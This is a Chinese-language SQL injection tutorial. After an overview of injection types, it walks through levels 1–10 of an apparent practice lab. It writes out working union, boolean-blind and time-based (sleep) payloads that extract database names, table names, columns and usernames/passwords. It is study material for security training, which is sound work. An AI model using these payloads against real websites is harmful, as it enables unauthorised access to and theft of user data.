在闯关前,我们需要先了解一点关于sql注入的基本理论知识。
一、理论知识
1. SQL注入简介
1.1 SQL注入概述
定义:SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
1.2 SQL注入原理
目前,大多数Web编程语言提供了操作SQL的接口,以方便与数据库进行交互。但是在开发Web应用的过程中,由于忽视了代码的健壮性和安全性,攻击者可以构造巧妙的SQL语句从而获取到敏感数据,因此导致了SQL这种攻击方式的流行。
SQL 注入漏洞的产生需要满足以下两个条件:
- 参数用户可控:前端传给后端的参数内容是用户可以控制的。
- 参数带入数据库查询: 传入的参数拼接到SQL吾句,且带入数据库查询。
1.3 SQL注入漏洞的危害
- 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
- 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
- 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
- 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
2、SQL注入漏洞分类
2.1 注入位置分类
根据SQL注入漏洞原理,在用户“可控参数”中注入SQL语法,也就是说WEB应用在获取用户数据的地方,只要带入数据库查询,都有可能存在注入,这些地方通常包括:
- GET 数据
- POST 数据
- http请求头参数注入
2.2 注入数据类型分类
从数据类型分类来看,SQL注入分为数字型和字符型。
- 数字型注入:注入点的数据拼接到SQL语句中是以数字型出现的,数据两边没有单引号、双引号括起来。
- 字符型注入:注入点的数据两边有单引号、双引号括起来。
2.3 注入手法分类
union联合查询注入
union查询注入是最基础的注入。在SQL中, UNION 操作符用于合并两个或多个 SELECT 语句的结果。union 查询注入利用 UNION 关键字可以追加一条或者多条额外的 SELECT 查询,并将结果追加到原始查询中。
盲注
盲注指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。主要分为布尔盲注与基于时间的盲注。
报错注入
黑客攻击时常根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。
堆叠查询注入
堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新的查询或者终止查询,可以达到修改数据和调用存储过程的目的。
二次注入
在将数据(一次注入的)存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
宽字节注入
在使用PHP连接MySQL的时候,当设置“set character_set_client = gbk”时会导致一个编码转换的问题,这就是常说的宽字节注入。
base64注入
base64注入是针对传递的参数被base64加密后的注入点进行注入。除了数据被加密以外,其中注入方式与常规注入一般无二。
3、union联合查询注入
1.1 简介
union查询注入是最基础的注入。在SQL中, UNION 操作符用于合并两个或多个 SELECT 语句的结果。union 查询注入利用 UNION 关键字可以追加一条或者多条额外的 SELECT 查询,并将结果追加到原始查询中。
1.2 适用条件
- 网页存在注入点,有回显。
- 需要满足union语句要求,即:
- union前后两个select的结果集应具有相同列数;
- union前后两个select的结果集对应列应是相同数据类型。
1.3 注入步骤
- 首先判断是否存在注入点及注入的类型。
- 使用ORDER BY 查询列数、观察回显的位置。
- 获取数据库名。
- 获取数据库中的所有表名。
- 获取数据库的表中的所有字段名
- 获取字段中的数据。
1.4 注入技巧
在最后一个select语句后可以使用 order by 或 limit 等SQL语句对查询进行限制和调整。
4、布尔盲注
概述
当改变浏览器带入给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法使用union联合查询注入与报错注入,这时候可以试试看能否使用布尔注入。
布尔盲注:一般情况下,当带入参数为真和假时,页面会有不同的反映,比如有无显示也是一种不同,布尔盲注就是根据这种不同来反推我们输入的条件是真还是假。
5、延时盲注
当改变浏览器带入给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法使用union联合查询注入与报错注入;同时,输入参数为真或假也无法从页面显示上查出差异,无法使用布尔注入,这时候可以试试看能否使用延时注入。
延时盲注:也称延时注入、时间注入等,这种注入方式在带入给后台的参数中,设置了一个if语句,当条件为真时执行sleep语句,条件为假时无执行语句,然后根据浏览器的响应时间来推测sleep语句是否被执行,进而推测if条件是否为真。
延时盲注与布尔盲注的核心思想都是通过浏览器的不同响应来推测输入的条件的真假,布尔盲注是条件真假时页面显示会有不同显示,延时盲注则是显示结果相同只能从响应时间上进行推测。
缺点:有时候网页响应慢并不是因为sleep语句起来效果,也可能是网络等外部因素的影响。
二、闯关
了解了这些,我们再来开始闯关。
1、1-4关
这四关的闯关思路相同,都是使用了union联合注入进行获取,因此放一起来说。
第一关
第一步:判断注入方式并验证
根据提示输入?id=1
可以看到有回显,显示已经查询到数据库中id=1的信息,用户名为Dumb,密码为Dumb。首先想到可以用union联合注入查询。
根据学习我们知道存在SQL注入问题的sql语句中注入点有以下几种:
- 单引号 '
- 双引号 "
- 单引号括号 ')
- 双引号括号 ")
- 单引号两个括号 '))等等组合方式
若在没有源码的情况下,我们只能通过猜测一种一种去试,会花费时间和精力,比较麻烦。
但是因为给了我们源码,因此查看源码,就可以得知sql语句的写法和注入方式,方便快捷。
以下为第一关的源码sql语句
由上图可知,注入点是单引号 ',那么我们就可以测试,如下图所示:
ps:单引号通过url解码后为%27
上图出现了报错,说明有可能是,接着验证。在后面加上--+
ps:在 SQL 注入的场景中,--+ 是一种注释符,用于将其后面的 SQL 代码注释掉,从而改变 SQL 语句原本的执行逻辑,达到注入的目的。
注释掉后边的代码后,重新出现了信息 ,说明单引号就是第一关的闭合方式,注入方式。而且是字符型的。
第二步:通过union联合查询进入数据库中查询到我们想要的信息。
(1)、首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
ps:空格通过url解码后为%20
由上图可知,表格有3列。
(2)、爆出显示位,就是看看表格里面那一列是在页面显示的。
?id=-1'union select 1,2,3--+
可以看到是第二列和第三列里面的数据是显示在页面的。
(3)、获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。
?id=-1'union select 1,database(),version()--+
通过结果知道当前数据库是security,版本是5.7.26。
(4)、爆表。information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
(5)、爆字段名。我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
(6)、通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
第一关通过!
第2-4关
第2—4关与第1关方法相同,都是先通过查看源码得知sql语句的闭合方式,注入方式,验证后从(1)开始到(6),就可以爆出数据库内想要的信息。
2、5-8关
第五关:
第一步:判断注入方式并验证
通过上图我们看出没有给我们回显数据库信息,那我们加单引号开始测试注入方式
出现了报错,加上注释--+试一试
我们可以看到,和?id=1的回显相同。这并不一定是我们测试错误,而是源码编写时,即使输入正确的信息,也不会出现回显,而是出现这个页面,出现这个页面就代表进入数据库成功。这时我们第一个想到的就是union连表查询不可以使用了,因为union连表查询的使用条件是有回显
那么我们就可以尝试盲注的方式进行爆破。盲注分为布尔盲注和延时盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。
第二步:通过布尔盲注逐步测试找到我们想要的数据
(1)、判断数据库的长度
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
根据上面图片可知,数据库字符额长度为8
(2)、根据ascii码试出来8位字符的数据库名是什么
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
以此类推,可以推出来,8位字符的数据库名是security。
(3)、判断所有表名字符长度。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
由此可知,所有表名字符长度为29位。
(4)、逐一判断表名
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
由此可知,第一个表的第一个字符的ASCII码是101,对应的就是字母e
由此可知,第一个表的第2个字符的ASCII码是109,对应的就是字母m
以此类推,推出来这29个字符是emails、referers、uagents、users
(5)、判断所有字段名的长度
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
由此可知,所有字段名的长度是20
(6)、逐一判断字段名。
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
(7)、判断字段内容长度
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
(8)、逐一检测内容。
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
与上面的步骤相同,逐一尝试直到测试出来为止
第六关
第六关和第五关是差不多的,根据页面报错信息可以猜测id参数是双引号,只需将第五关的单引号换成双引号就可以了。
第七关
第七关我们通过查看源码可以得知,这一关的注入方式是单引号和两个括号 '))
验证成功!
剩下的过关手法和上一关一样,同样使用布尔盲注的方式过关就可以
第八关
查看第八关源码,注入方式是一个单引号
验证成功后,跟之前的布尔盲注方法一样,逐个尝试直至通关
3、9-10关
第九关
第一步:判断注入方式并验证
查看第九关源码,注入方式是一个单引号
我们经过验证,发现不管输入什么,页面显示的东西都是一样的,此时布尔盲注就不适合这一关了,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变,这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别,只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。用这个方法也可以判断出来注入方式为单引号。
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
由此可判断数据库名长度为8。按照此方法依次尝试,直至测试完成。
第十关
第十关与第九关一样都是时间注入,只不过注入方式从单引号变成了双引号。